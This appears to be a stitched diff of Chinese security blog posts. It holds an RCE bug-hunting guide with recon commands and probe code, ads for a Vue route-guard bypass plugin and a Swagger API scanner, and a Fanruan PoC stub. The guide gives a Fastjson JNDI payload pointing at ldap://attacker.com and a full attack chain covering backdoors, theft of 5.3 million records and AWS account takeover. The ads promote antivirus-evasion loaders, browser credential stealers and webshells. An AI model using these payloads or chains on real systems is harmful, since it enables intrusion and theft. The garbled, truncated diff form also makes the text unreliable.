<table><thead><tr><th style="border-bottom: 1px solid rgba(0, 0, 0, 0.12);font: 500 15px / 25px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;border-top: none;padding: 10px 16px 10px 0px;text-align: left;"><section><span leaf="">技术组件</span></section></th><th style="border-bottom: 1px solid rgba(0, 0, 0, 0.12);font: 500 15px / 25px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;border-top: none;padding: 10px 16px;text-align: left;"><section><span leaf="">高危版本</span></section></th><th style="border-bottom: 1px solid rgba(0, 0, 0, 0.12);font: 500 15px / 25px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;border-top: none;padding: 10px 16px;text-align: left;"><section><span leaf="">常见漏洞类型</span></section></th><th style="border-bottom: 1px solid rgba(0, 0, 0, 0.12);font: 500 15px / 25px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;border-top: none;padding: 10px 16px;text-align: left;"><section><span leaf="">可利用性</span></section></th></tr></thead><tbody><tr><td style="border-bottom: 1px solid rgba(0, 0, 0, 0.1);font: 400 15px / 25px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;min-width: 100px;max-width: min(30vw, 320px);padding: 10px 16px 10px 0px;"><section><span leaf="">Apache Struts2</span></section></td><td style="border-bottom: 1px solid rgba(0, 0, 0, 0.1);font: 400 15px / 25px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;min-width: 100px;max-width: min(30vw, 320px);padding: 10px 16px;"><section><span leaf="">2.0.0-2.5.25</span></section></td><td style="border-bottom: 1px solid rgba(0, 0, 0, 0.1);font: 400 15px / 25px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;min-width: 100px;max-width: min(30vw, 320px);padding: 10px 16px;"><section><span leaf="">OGNL注入</span></section></td><td style="border-bottom: 1px solid rgba(0, 0, 0, 0.1);font: 400 15px / 25px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;min-width: 100px;max-width: min(30vw, 320px);padding: 10px 0px 10px 16px;"><section><span leaf="">高</span></section></td></tr><tr><td style="border-bottom: 1px solid rgba(0, 0, 0, 0.1);font: 400 15px / 25px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;min-width: 100px;max-width: min(30vw, 320px);padding: 10px 16px 10px 0px;"><section><span leaf="">Fastjson</span></section></td><td style="border-bottom: 1px solid rgba(0, 0, 0, 0.1);font: 400 15px / 25px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;min-width: 100px;max-width: min(30vw, 320px);padding: 10px 16px;"><section><span leaf="">≤1.2.68</span></section></td><td style="border-bottom: 1px solid rgba(0, 0, 0, 0.1);font: 400 15px / 25px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;min-width: 100px;max-width: min(30vw, 320px);padding: 10px 16px;"><section><span leaf="">AutoType绕过</span></section></td><td style="border-bottom: 1px solid rgba(0, 0, 0, 0.1);font: 400 15px / 25px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;min-width: 100px;max-width: min(30vw, 320px);padding: 10px 0px 10px 16px;"><section><span leaf="">高</span></section></td></tr><tr><td style="border-bottom: 1px solid rgba(0, 0, 0, 0.1);font: 400 15px / 25px quote-cjk-patch, Inter, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Open Sans", "Helvetica Neue", sans-serif;min-width: 100px;max-width: min(30vw, 320px);padding: 10px 16px 10px 0px;"><section><span leaf=Line truncated
|
||||
**维度二：业务数据价值评估**
|
||||
```
|
||||
python
|
||||
def assess_business_value(target):
|
||||
value_factors = {
|
||||
'user_count': get_user_count(target),
|
||||
'data_sensitivity': classify_data(target),
|
||||
'transaction_volume': get_transaction_stats(target),
|
||||
'brand_reputation': estimate_reputation_impact(target)
|
||||
}
|
||||
|
||||
# 加权计算总分
|
||||
weights = {
|
||||
'user_count': 0.2,
|
||||
'data_sensitivity': 0.4,
|
||||
'transaction_volume': 0.3,
|
||||
'brand_reputation': 0.1
|
||||
}
|
||||
|
||||
total_score = sum(value_factors[k] * weights[k] for k in value_factors)
|
||||
return total_score
|
||||
```
|
||||
|
||||
**维度三：攻击面暴露程度**
|
||||
- 公网可访问的服务数量
|
||||
|
||||
- API端点数量和复杂度
|
||||
|
||||
- 第三方组件集成度
|
||||
|
||||
- 历史漏洞修复情况
|
||||
|
||||
**维度四：防御纵深评估**
|
||||
- WAF/IPS规则严格程度
|
||||
|
||||
- 运行时防护（RASP）存在性
|
||||
|
||||
- 代码审计频率
|
||||
|
||||
- 安全开发生命周期成熟度
|
||||
|
||||
### 2. 高效漏洞发现的五步工作流
|
||||
|
||||
**第一步：资产发现与指纹识别**
|
||||
```
|
||||
bash
|
||||
# 综合性资产发现
|
||||
oneforall --target example.com run
|
||||
# 针对性组件识别
|
||||
whatweb -a 3 https://example.com
|
||||
# API端点枚举
|
||||
gospider -s https://example.com -t 10 -c 5 --js --sitemap
|
||||
```
|
||||
|
||||
**第二步：攻击面映射与分析**
|
||||
```
|
||||
python
|
||||
# 构建攻击面图谱
|
||||
attack_surface = {
|
||||
'input_vectors': [],
|
||||
'data_flows': [],
|
||||
'trust_boundaries': [],
|
||||
'security_controls': []
|
||||
}
|
||||
# 识别潜在执行点
|
||||
execution_points = find_execution_points(attack_surface)
|
||||
```
|
||||
|
||||
**第三步：针对性漏洞探测**
|
||||
```
|
||||
python
|
||||
class TargetedRCEProbe:
|
||||
def probe(self, target):
|
||||
results = []
|
||||
|
||||
# 基于技术栈的探测
|
||||
for component in target.tech_stack:
|
||||
if component == 'fastjson':
|
||||
results.extend(self.probe_fastjson(target))
|
||||
elif component == 'struts2':
|
||||
results.extend(self.probe_struts2(target))
|
||||
elif component == 'log4j2':
|
||||
results.extend(self.probe_log4j(target))
|
||||
|
||||
# 基于业务功能的探测
|
||||
for endpoint in target.api_endpoints:
|
||||
if 'import' in endpoint or 'upload' in endpoint:
|
||||
results.extend(self.probe_file_upload(endpoint))
|
||||
if 'template' in endpoint or 'render' in endpoint:
|
||||
results.extend(self.probe_ssti(endpoint))
|
||||
|
||||
return results
|
||||
```
|
||||
|
||||
**第四步：利用链验证与影响评估**
|
||||
- 验证漏洞真实可利用性（非误报）
|
||||
|
||||
- 评估执行上下文和权限级别
|
||||
|
||||
- 测试持久化可能性
|
||||
|
||||
- 分析横向移动路径
|
||||
|
||||
**第五步：报告生成与武器化**
|
||||
```
|
||||
python
|
||||
def generate_weaponized_report(vulnerability):
|
||||
report = {
|
||||
'title': generate_impactful_title(vulnerability),
|
||||
'technical_details': {
|
||||
'vulnerability_type': vulnerability.type,
|
||||
'location': vulnerability.location,
|
||||
'payload': sanitize_payload(vulnerability.payload),
|
||||
'reproduction_steps': vulnerability.reproduction_steps
|
||||
},
|
||||
'impact_analysis': {
|
||||
'privilege_level': vulnerability.privilege,
|
||||
'data_access': vulnerability.data_access,
|
||||
'business_impact': calculate_business_impact(vulnerability),
|
||||
'exploitation_complexity': rate_complexity(vulnerability)
|
||||
},
|
||||
'weaponization': {
|
||||
'metasploit_module': suggest_metasploit_module(vulnerability),
|
||||
'custom_exploit': generate_exploit_template(vulnerability),
|
||||
'detection_evasion': suggest_evasion_techniques(vulnerability)
|
||||
}
|
||||
}
|
||||
|
||||
return report
|
||||
```
|
||||
## 五、专项狩猎检查清单
|
||||
### RCE深度测试清单（企业级）
|
||||
|
||||
**第一阶段：侦察与情报收集**
|
||||
- 识别所有可执行代码的组件和框架版本
|
||||
|
||||
- 映射所有用户输入点和数据处理流程
|
||||
|
||||
- 收集API文档、源代码（如公开仓库）、错误信息
|
||||
|
||||
- 识别第三方依赖和供应链组件
|
||||
|
||||
**第二阶段：漏洞入口点发现**
|
||||
- 文件上传功能（各种格式、压缩包处理）
|
||||
|
||||
- 模板渲染引擎（FreeMarker、Velocity、Thymeleaf等）
|
||||
|
||||
- 序列化/反序列化接口（JSON、XML、YAML等）
|
||||
|
||||
- 表达式语言执行点（SpEL、OGNL、MVEL等）
|
||||
|
||||
- 命令执行函数调用（exec、system、popen等）
|
||||
|
||||
- 动态代码加载机制（ClassLoader、ScriptEngine等）
|
||||
|
||||
**第三阶段：漏洞验证与利用链构建**
|
||||
- 验证漏洞真实存在（非WAF/IPS拦截）
|
||||
|
||||
- 确定执行上下文和权限级别
|
||||
|
||||
- 测试各种Payload绕过技术
|
||||
|
||||
- 构建从利用到持久化的完整链
|
||||
|
||||
- 验证横向移动可能性
|
||||
|
||||
**第四阶段：影响评估与武器化**
|
||||
- 量化受影响系统和数据范围
|
||||
|
||||
- 评估业务连续性影响
|
||||
|
||||
- 设计检测规避技术
|
||||
|
||||
- 生成武器化利用工具
|
||||
|
||||
- 制定应急响应建议
|
||||
|
||||
## 六、从漏洞到系统控制：实战案例框架
|
||||
### 案例：从Fastjson漏洞到全AWS账户控制
|
||||
|
||||
**攻击链时间线**
|
||||
：
|
||||
```
|
||||
text
|
||||
第1阶段：漏洞发现
|
||||
- 目标：某电商平台用户画像服务
|
||||
- 漏洞：Fastjson ≤1.2.68 AutoType绕过
|
||||
- Payload: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit"}
|
||||
第2阶段：初始访问
|
||||
- 获得应用服务器权限
|
||||
- 权限：Web应用用户（www-data）
|
||||
第3阶段：权限提升与环境侦查
|
||||
- 发现应用使用AWS Secrets Manager存储数据库凭证
|
||||
- 通过应用权限读取AWS临时凭证
|
||||
- 凭证角色：app-server-role（S3读取、EC2描述权限）
|
||||
第4阶段：横向移动
|
||||
- 使用凭证枚举所有EC2实例
|
||||
- 发现管理后台服务器
|
||||
- 通过SSH密钥传递获得管理员访问
|
||||
第5阶段：持久化与数据访问
|
||||
- 在管理服务器安装SSH后门
|
||||
- 访问生产数据库备份
|
||||
- 窃取用户数据（530万条记录）
|
||||
第6阶段：影响最大化
|
||||
- 通过数据库凭证访问RDS快照
|
||||
- 发现跨账户IAM角色
|
||||
- 获取组织级管理权限
|
||||
```
|
||||
|
||||
**技术亮点**
|
||||
：
|
||||
1. **漏洞链利用**
|
||||
：将反序列化漏洞转化为云凭证访问
|
||||
|
||||
1. **权限边界跨越**
|
||||
：从应用权限→IAM角色→跨账户权限
|
||||
|
||||
1. **数据流追踪**
|
||||
：用户请求→应用日志→数据库访问→数据外传
|
||||
|
||||
1. **隐蔽持久化**
|
||||
：内存驻留+合法云服务滥用
|
||||
|
||||
任意代码执行的真正威力不在于执行单条命令，而在于它作为**初始植入**
|
||||
的能力。在SRC狩猎中，发现RCE漏洞只是开始，真正的高手会构建从漏洞到核心资产的**完整控制链**
|
||||
。
|
||||
|
||||
当你的漏洞报告不仅展示了id
|
||||
命令的执行，还详细描述了如何从该点出发获取域控权限、窃取核心数据、建立持久化通道时——你提交的将不再是一个漏洞，而是一个**系统沦陷的蓝图**
|
||||
。
|
||||
|
||||
这正是顶级SRC愿意为高质量RCE报告支付五位数的原因：他们购买的不仅是漏洞信息，更是对自身防御体系最真实的压力测试。
|
||||
|
||||
（本文所有技术细节均在合法授权环境测试验证，严禁用于未授权测试。漏洞挖掘需遵守各平台规则与法律法规。）
|
||||
|
||||
****
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,184 @@
|
||||
# 工具推荐 | 自动检测Vue框架 绕过Vue.js 站点路由守卫 一键发现隐藏资产与未授权漏洞
|
||||
Ad1euDa1e
|
||||
Ad1euDa1e 星落安全团队 2026-02-02 16:00
|
||||
|
||||
|
||||
|
||||
点击上方
|
||||
蓝字
|
||||
关注我们
|
||||
|
||||
|
||||
|
||||
|
||||
现在只对常读和星标的公众号才展示大图推送，建议大家能把
|
||||
**星落安全团队**
|
||||
“
|
||||
**设为星标**
|
||||
”，
|
||||
否则可能就看不到了啦
|
||||
！
|
||||
|
||||
【
|
||||
声明
|
||||
】本文所涉及的技术、思路和工具仅用于安全测试和防御研究，切勿将其用于非法入侵或攻击他人系统以及盈利等目的，一切后果由操作者自行承担！！！
|
||||
|
||||
|
||||
|
||||
**工具介绍**
|
||||
|
||||
VueCrack
|
||||
这是一个专为红队人员开发的浏览器插件，用于分析Vue框架网站的路由结构，并绕过路由守卫，从而发现站点的**隐藏资产**
|
||||
与**未授权访问漏洞**
|
||||
。
|
||||
|
||||
|
||||
## 💻 开发背景
|
||||
- 本工具源于实际攻防中的需求，在对使用VUE框架的站点进行测试时，我们发现大量VUE站点绕过前端路由后，可以未授权访问站点页面，本插件简化了手动测试步骤，提高红队行动效率。
|
||||
|
||||
- **本工具已多次在攻防、SRC挖掘场景中出货。**
|
||||
## 📝核心功能
|
||||
- **自动检测Vue框架**
|
||||
：快速识别目标站点是否使用Vue.js
|
||||
|
||||
- **绕过路由守卫**
|
||||
：自动清除路由守卫，允许访问受保护路由
|
||||
|
||||
- **修改鉴权字段**
|
||||
：自动修改路由元信息中的auth字段，绕过前端权限检查
|
||||
|
||||
- **路由结构分析**
|
||||
：提取所有路由路径，包括可能隐藏的管理页面
|
||||
|
||||
- **批量操作**
|
||||
：支持一键复制和访问所有发现的路由
|
||||
|
||||
|
||||
## 🔧使用方法
|
||||
1. 在 Chrome 或基于 Chromium 的浏览器中安装此扩展
|
||||
|
||||
1. 访问基于 Vue.js 的网站
|
||||
|
||||
1. 点击扩展图标，工具将显示所有可能的 URL 路径
|
||||
|
||||
1. 使用生成的 URL 列表，尝试访问目标站点的受限页面
|
||||
|
||||
1. 利用“打开”按钮直接导航到可能的未授权页面
|
||||
|
||||
## 📄技术实现
|
||||
- **多重检测引擎**
|
||||
：使用多种策略检测Vue及Router实例
|
||||
|
||||
- **守卫清除机制**
|
||||
：通过修改Router原型方法清除beforeEach等路由守卫
|
||||
|
||||
- **权限标志修改**
|
||||
：递归遍历路由树，修改所有auth相关字段
|
||||
|
||||
- **内存路由提取**
|
||||
：直接从内存中获取完整路由表，包括隐藏路由
|
||||
|
||||
|
||||
|
||||
|
||||
**相关地址**
|
||||
|
||||
**关注微信公众号后台回复“入群”，即可进入星落安全交流群！**
|
||||
|
||||
关注微信公众号后台回复“
|
||||
20260203
|
||||
**”，即可获取项目下载地址！**
|
||||
|
||||
****
|
||||
|
||||
****
|
||||
**圈子介绍**
|
||||
|
||||
博主介绍
|
||||
：
|
||||
|
||||
|
||||
目前工作在某安全公司攻防实验室，一线攻击队选手。自2022-2024年总计参加过30+次省/市级攻防演练，擅长工具开发、免杀、代码审计、信息收集、内网渗透等安全技术。
|
||||
|
||||
|
||||
目前已经更新的免杀内容：
|
||||
- 部分免杀项目源代码
|
||||
|
||||
- 星落安全内部免杀工具箱1.0
|
||||
|
||||
- CobaltStrike4.9.1星落专版1.9
|
||||
|
||||
- 一键击溃windows defender
|
||||
|
||||
- 一键击溃火绒进程
|
||||
|
||||
-
|
||||
CobaltStrike免杀加载器
|
||||
|
||||
- 数据库直连工具免杀版
|
||||
|
||||
- aspx文件自动上线cobaltbrike
|
||||
|
||||
- jsp文件
|
||||
自动上线cobaltbrike
|
||||
|
||||
- 哥斯拉免杀工具
|
||||
XlByPassGodzilla
|
||||
|
||||
- 冰蝎免杀工具 XlByPassBehinder
|
||||
|
||||
- 冰蝎星落专版 xlbehinder
|
||||
|
||||
- 正向代理工具 xleoreg
|
||||
|
||||
- 反向代理工具xlfrc
|
||||
|
||||
- 内网扫描工具 xlscan
|
||||
|
||||
- Todesk/向日葵密码读取工具
|
||||
|
||||
- 导出lsass内存工具 xlrls
|
||||
|
||||
- 绕过WAF免杀工具 ByPassWAF
|
||||
|
||||
- 等等...
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
目前星球已满1000人，价格由208元
|
||||
调整为
|
||||
218元(
|
||||
交个朋友啦
|
||||
)，1100名以后涨价至268元。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
往期推荐
|
||||
|
||||
|
||||
|
||||
1.[加量不加价 | 星落免杀第二期，助你打造专属免杀武器库](https://mp.weixin.qq.com/s?__biz=MzkwNjczOTQwOA==&mid=2247495969&idx=1&sn=d3379e8f69c2cefb6d0564299e13d579&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
2.[【干货】你不得不学习的内网渗透手法](https://mp.weixin.qq.com/s?__biz=MzkwNjczOTQwOA==&mid=2247489483&idx=1&sn=0cbeb449e56db1ae48abfb924ffd0b43&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
3.[新增全新Web UI版本，操作与管理全面升级 | GoCobalt Strike 2.0正式发布！](https://mp.weixin.qq.com/s?__biz=MzkwNjczOTQwOA==&mid=2247497899&idx=1&sn=018f02ef4064930cbcb40d6b0495e136&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
4.[【免杀】原来SQL注入也可以绕过杀软执行shellcode上线CoblatStrike](http://mp.weixin.qq.com/s?__biz=MzkwNjczOTQwOA==&mid=2247489950&idx=1&sn=a54e05e31a2970950ad47800606c80ff&chksm=c0e2b221f7953b37b5d7b1a8e259a440c1ee7127d535b2c24a5c6c2f2e773ac2a4df43a55696&scene=21&token=458856676&lang=zh_CN#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,39 @@
|
||||
# 帆软报表指纹POC集成
|
||||
安全艺术
|
||||
安全艺术 安全艺术 2026-02-03 00:18
|
||||
|
||||
# 1. 指纹信息
|
||||
|
||||
|
||||
# 2. POC信息
|
||||
## 2.1. 帆软报表系统export excel接口存在SQL注入导致RCE
|
||||
|
||||
|
||||
## 2.2. 帆软报表系统ReportServer接口存在SQL注入导致RCE
|
||||
|
||||
|
||||
## 2.3. 帆软报表系统print/ie/pdf接口rce
|
||||
|
||||
|
||||
## 2.4. 帆软报表channel存在远程命令执行漏洞
|
||||
|
||||
|
||||
# 3. dddd集成
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# 4. 结果验证
|
||||
|
||||
|
||||
#
|
||||
|
||||
|
||||
# 5. 加入安艺圈
|
||||
|
||||
|
||||
|
||||
**关注"安全艺术"微信公众号，后台回复"dddd"获取圈主联系方式。**
|
||||
|
||||
@@ -1,77 +1,68 @@
|
||||
# 无需手动构包！智能填充参数 + 自动化请求：Swagger API自动化漏洞检测工具|ApiHunter
|
||||
11firefly
|
||||
11firefly 渗透安全HackTwo 2026-02-02 16:00
|
||||
星夜AI安全
|
||||
星夜AI安全 星夜AI安全 2026-02-03 00:16
|
||||
|
||||
0x01 工具介绍
|
||||
📌各位可以将公众号设为星标⭐
|
||||
|
||||
📌这样就不会错过每期的推荐内容啦~
|
||||
|
||||
Swagger 文档未授权访问是 API 渗透测试的高频突破口，但人工手动构造请求包、填充参数不仅耗时耗力，还极易遗漏关键接口。今天为大家推荐星球成员 @11firefly11 倾力开发的开源利器 ——ApiHunter！它专为解决上述痛点而生，支持 Swagger 2.0/3.0 文档一键解析，无需手动抓包或构包，自动提取所有接口端点、请求方法与参数定义。内置 100 + 敏感信息检测规则，能秒级捕获密钥、Token、数据库连接串等泄露数据，搭配交互式重发功能，让未授权 API 测试效率翻倍，现已在 GitHub 开源，助力数据抓取与 API 测试高效稳定推进！
|
||||
📌这对我真的很重要！
|
||||
|
||||
|
||||
|
||||
📌1. 本平台分享的安全知识和工具信息源于公开资料及专业交流，仅供个人学习提升安全意识、了解防护手段，禁止用于任何违法活动，否则使用者自行承担法律后果。
|
||||
|
||||
📌2. 所分享内容及工具虽具普遍性，但因场景、版本、系统等因素，无法保证完全适用，使用者要自行承担知识运用不当、工具使用故障带来的损失。
|
||||
|
||||
📌3. 使用者在学习操作过程中务必遵守法规道德，面对有风险环节需谨慎预估后果、做好防护，若未谨慎操作引发信息泄露、设备损坏等不良后果，责任自负。
|
||||
# 0x01 工具介绍
|
||||
|
||||
Swagger 文档的未授权访问是 API 渗透测试中一个常见且高效的突破口。然而，通过人工方式手动构造请求包、逐一填充参数不仅耗费大量时间与精力，还很容易遗漏关键的接口。今天要为大家推荐的是由星球成员 @11firefly11 精心开发的开源利器——ApiHunter！这款工具正是为了解决上述痛点而设计，它支持一键解析 Swagger 2.0/3.0 文档，无需手动抓包或构建请求包，就能自动提取出所有接口的端点、请求方法以及参数定义。工具内置了超过 100 条敏感信息检测规则，能够快速捕获密钥、Token、数据库连接字符串等泄露的数据。结合其交互式重发功能，可以显著提升未授权 API 的测试效率。目前该工具已在 GitHub 上开源，旨在高效、稳定地推进数据抓取与 API 测试工作！
|
||||
|
||||
|
||||
|
||||
注意：
|
||||
现在只对常读和星标的公众号才展示大图推送，建议大家把
|
||||
**渗透安全HackTwo**
|
||||
"**设为****星标⭐️**
|
||||
"
|
||||
**否****则可能就看不到了啦！**
|
||||
|
||||
**下载地址在末尾 #渗透安全HackTwo**
|
||||
|
||||
0x02
|
||||
功能简介
|
||||
|
||||
# 0x02 功能简介
|
||||
|
||||
✨ 主要特性
|
||||
|
||||
多类型文档一键解析：
|
||||
支持 Swagger 2.0/3.0 JSON 文档、ASP.NET Web API Help Page 网页一键导入，自动解析所有接口端点、请求方法及参数定义，省去手动抓包 / 构包的繁琐，覆盖现代前后端分离架构与传统.NET 应用场景。
|
||||
**多类型文档一键解析**
|
||||
：支持将 Swagger 2.0/3.0 JSON 文档、ASP.NET Web API Help Page 网页一键导入，自动解析所有接口端点、请求方法及参数定义，省去了手动抓包或构包的繁琐步骤，覆盖了现代前后端分离架构以及传统的 .NET 应用场景。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
智能参数填充与多格式测试：
|
||||
针对 POST/PUT 请求自动识别 id、email 等参数并填充测试值，同时生成 URL 参数、JSON Body、Form Body 三种格式数据包测试，确保参数传递方式全覆盖，无漏洞遗漏；也支持自定义参数值，适配个性化测试需求。
|
||||
**智能参数填充与多格式测试**
|
||||
：针对 POST/PUT 请求，工具能自动识别 id、email 等参数并填充测试值，同时生成 URL 参数、JSON Body、Form Body 三种格式的数据包进行测试，确保对参数传递方式的全覆盖，避免漏洞遗漏；也支持用户自定义参数值，以适应个性化的测试需求。
|
||||
|
||||
|
||||
|
||||
自动化漏洞检测能力：
|
||||
智能识别 upload/file 等上传接口，自动构造 multipart/form-data 请求并上传 XSS 测试文件、普通文本文件验证上传漏洞；内置 SQL 注入探测引擎，可识别多数据库报错指纹，实现高频漏洞自动化检测。
|
||||
**自动化漏洞检测能力**
|
||||
：能够智能识别 upload/file 等上传接口，自动构造 multipart/form-data 请求并上传 XSS 测试文件、普通文本文件以验证上传漏洞；内置 SQL 注入探测引擎，可以识别多种数据库的报错指纹，实现对高频漏洞的自动化检测。
|
||||
|
||||
|
||||
|
||||
敏感信息深度扫描：
|
||||
内置 100+ 高精度检测规则，覆盖云服务密钥、各类 Token、数据库连接串、手机号 / 身份证等隐私信息，支持自定义规则，敏感信息在响应结果中红色高亮展示，便于快速定位。
|
||||
**敏感信息深度扫描**
|
||||
：内置超过 100 条高精度检测规则，覆盖云服务密钥、各类 Token、数据库连接串、手机号/身份证等隐私信息，支持自定义规则，发现的敏感信息会在响应结果中以红色高亮展示，便于快速定位。
|
||||
|
||||
|
||||
|
||||
智能结果去重与过滤：
|
||||
基于 “状态码 + 响应长度” 指纹去重，过滤 404/500 等重复无效响应；支持状态码自定义过滤，可屏蔽无价值结果，聚焦差异化高危信息。
|
||||
**智能结果去重与过滤**
|
||||
：基于“状态码 + 响应长度”的指纹进行去重，过滤掉 404/500 等重复无效的响应；支持自定义状态码过滤，可以屏蔽无价值的测试结果，从而聚焦于存在差异化的高危信息。
|
||||
|
||||
|
||||
|
||||
安全防护与灵活适配：
|
||||
提供 “安全模式”，自动拦截 DELETE/PUT 等高危方法、过滤高危关键词接口，防止误删数据；支持 HTTP/HTTPS/SOCKS5 代理配置，可自定义请求头（Cookie/Authorization），适配鉴权场景与流量转发需求。
|
||||
**安全防护与灵活适配**
|
||||
：提供“安全模式”，能够自动拦截 DELETE/PUT 等高危方法、过滤包含高危关键词的接口，防止误删数据；支持配置 HTTP/HTTPS/SOCKS5 代理，可自定义请求头（如 Cookie/Authorization），以适应鉴权场景与流量转发的需求。
|
||||
|
||||
交互式操作与报告导出：
|
||||
双击结果即可查看标准 HTTP 格式数据包，支持编辑请求头 / 体并即时重发；响应内容自动格式化高亮，测试结果可导出为 Excel 格式，包含完整请求 / 响应信息，便于报告生成与二次验证。
|
||||
**交互式操作与报告导出**
|
||||
：双击测试结果即可查看标准 HTTP 格式的数据包，支持编辑请求头/请求体并即时重发；响应内容会自动格式化并高亮显示，测试结果可以导出为 Excel 格式，其中包含完整的请求与响应信息，便于生成报告或进行二次验证。
|
||||
###
|
||||
|
||||
0x03更新说明
|
||||
# 0x03 更新说明
|
||||
```
|
||||
1.增加wsdl,wadl接口文档提取以及测试
|
||||
2.优化swagger接口提取功能
|
||||
3.优化变异测试功能
|
||||
1. 增加 WSDL、WADL 接口文档提取以及测试功能。2. 优化 Swagger 接口提取功能。3. 优化变异测试功能。
|
||||
```
|
||||
# 0x04 使用介绍
|
||||
|
||||
|
||||
0x04 使用介绍
|
||||
|
||||
📦
|
||||
使用指南
|
||||
|
||||
### 使用前请确保已获得目标系统的合法授权，本工具仅用于授权的安全测试。
|
||||
📦 使用指南
|
||||
1. **启动程序**
|
||||
|
||||
1. 双击 ApiHunter.exe
|
||||
@@ -84,101 +75,54 @@ Swagger 文档未授权访问是 API 渗透测试的高频突破口，但人工
|
||||
|
||||
|
||||
**方式二**
|
||||
：切换到“接口文档”区域，输入 Swagger/ASP.NET 地址，点击 [导入]
|
||||
，然后点击 [swagger]
|
||||
：切换到“接口文档”区域，输入 Swagger/ASP.NET 地址，点击 **[导入]**
|
||||
，然后点击 **[swagger]**
|
||||
。
|
||||
|
||||
|
||||
1. **查看结果**
|
||||
|
||||
1. 扫描结果实时显示，敏感信息红色高亮。
|
||||
1. 扫描结果会实时显示，敏感信息会以红色高亮。
|
||||
|
||||
1. 双击行查看详情，右键可导出或复制。
|
||||
1. 双击某一行可以查看详情，右键点击可以进行导出或复制操作。
|
||||
|
||||
###
|
||||
关注微信公众号后台回复“**20260203**
|
||||
”，即可获取项目下载地址
|
||||
|
||||
关注微信公众号后台回复**入群**
|
||||
即可加入星夜AI安全交流群
|
||||
## 圈子介绍
|
||||
|
||||
现任职于某头部网络安全企业攻防研究部，核心红队成员。2021-2023年间累计参与40+场国家级、行业级攻防实战演练，精通漏洞挖掘、红蓝对抗策略制定、恶意代码分析、内网横向渗透及应急响应等技术领域。在多次大型演练中，主导突破多个高防护目标网络，曾获“最佳攻击手”“突出贡献个人”等荣誉。
|
||||
|
||||
已产出的安全工具及成果包括：
|
||||
- 多款主流杀软通杀工具（兼容卡巴斯基、诺顿、瑞星、360等终端防护，无感知运行，突破多引擎联合检测）
|
||||
|
||||
- XXByPassBehinder v1.1 冰蝎免杀生成器（定制化冰蝎免杀工具，绕过主流终端防护与EDR动态检测，支持自定义载荷）
|
||||
|
||||
- 哥斯拉二开免杀定制版（二开优化，深度免杀，突破终端防护与EDR检测，适配多场景植入）
|
||||
|
||||
- NeoCS4.9终极版（高级免杀加载工具，强化载荷注入与进程劫持，适配多系统版本，无兼容问题）
|
||||
|
||||
- WinDump_免杀版（浏览器凭证窃取工具，支持Chrome/Edge/Firefox等主流浏览器，一键提取敏感数据，免杀过防护）_
|
||||
|
||||
- _DumpBrowser_V1_免杀版（浏览器凭证窃取工具，专攻浏览器密码、Cookie、历史记录提取，免杀性能拉满）
|
||||
|
||||
- fscan二开版（二开优化内网扫描工具，增强指纹精度、弱口令爆破与结果标准化输出，适配复杂内网）
|
||||
|
||||
- RingQ加载器二开版（二开优化免杀加载器，支持Shellcode内存执行，绕过各类终端防护与EDR检测）
|
||||
|
||||
- 多款免杀Webshell集合（覆盖PHP/JSP/ASPX，过主流WAF与终端防护，适配不同Web场景）
|
||||
|
||||
- 免杀360专属加载器（支持Shellcode内存执行，针对性绕过360全系防护检测，无感知运行）
|
||||
|
||||
- 一键Kill 火绒 defender
|
||||
|
||||
后续将不断更新到内部圈子中 欢迎加入圈子
|
||||
|
||||
|
||||
|
||||
|
||||
**0x05 内部VIP星球介绍-V1.4（福利）**
|
||||
|
||||
如果你想学习更多**渗透测试技术/应急溯源/免杀工具/挖洞SRC赚取漏洞赏金/红队打点等**
|
||||
欢迎加入我们**内部星球**
|
||||
可获得内部工具字典和享受内部资源和
|
||||
内部交流群，
|
